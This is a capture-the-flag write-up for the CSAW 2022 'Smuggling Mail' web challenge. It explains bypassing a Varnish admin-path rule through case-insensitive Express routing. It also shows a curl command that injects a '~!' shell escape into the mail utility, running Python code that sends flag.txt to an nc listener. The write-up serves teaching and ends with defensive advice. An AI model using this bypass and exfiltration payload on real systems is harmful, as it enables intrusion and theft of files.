Csaw CTF 2022 Quals: Smuggling Mail

This post explains how I beat the capture-the-flag web challenge “Smuggling Mail” during CSAW qualification round, as part of the PolyFlag (polygl0ts + flagbot) team.

Description

The challenge comes in the form of a web application, for which we are provided full source code and a running instance.

Looking first at the web application, the most promising angle appears to be the e-mail alert system:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
app.post("/admin/alert", (req, res) => {
    if (req.body.msg) {
        const proc = spawn("mail", ["-s", "ALERT", "all_residents@localhost"], {timeout});
        proc.stdin.write(req.body.msg);
        proc.stdin.end();
        setTimeout(() => { kill(proc.pid); }, timeout);
    }

    res.end();
});

Because it is designed for interactive use, mail trusts its inputs and will execute arbitrary system commands if asked nicely. We quickly find out how to do so by searching the Internet. Locally, if we type ~! sh in mail, we get a shell.

Now comes the interesting part: the web application also comes with some access control, which is implemented using Varnish. In order to access the mail sending service, we will have to bypass that.

sub vcl_recv {
    if (req.url ~ "/admin" && !(req.http.Authorization ~ "^Basic TOKEN$")) {
        return (synth(403, "Access Denied"));
    }
}

Solution

As it turns out, we are in luck: regular expressions in this version of Varnish are case-sensitive, but the web back-end (ExpressJS) handles its routes in a case-insensitive manner. Concretely, this means that if we send a request to /ADMIN/alert for example, Varnish will stay out of the way.

Here is a local exploit. We use Python 2 to exfiltrate the flag since it is available in the container. To do this against the real challenge, you need a public-facing port to listen on.

1
2
3
nc -lp 1337&
# NOTE: I use the Fish shell, the quoting rules are different!
curl --insecure https://localhost:8080/ADMIN/alert  --json '{"msg": "~! python -c \'import socket;socket.create_connection((\"172.17.0.1\", 1337)).send(open(\"flag.txt\").read())\'"}'

Note that the intended way to solve this involves HTTP request smuggling, and that the case-sensitivity route appears to be an unintentional oversight. So the unintended lesson is: programming route-based authorization logic in a middleware layer can introduce these CWE-178 followed by CWE-289 type of issues. It would be better to have the middleware signal whether admin actions are authorized without hard-coding a path. Varnish software documents this approach here.

Flag

flag{5up3r_53cr3t_4nd_c001_f14g_g035_h3r3}

Built with Hugo
Theme Stack designed by Jimmy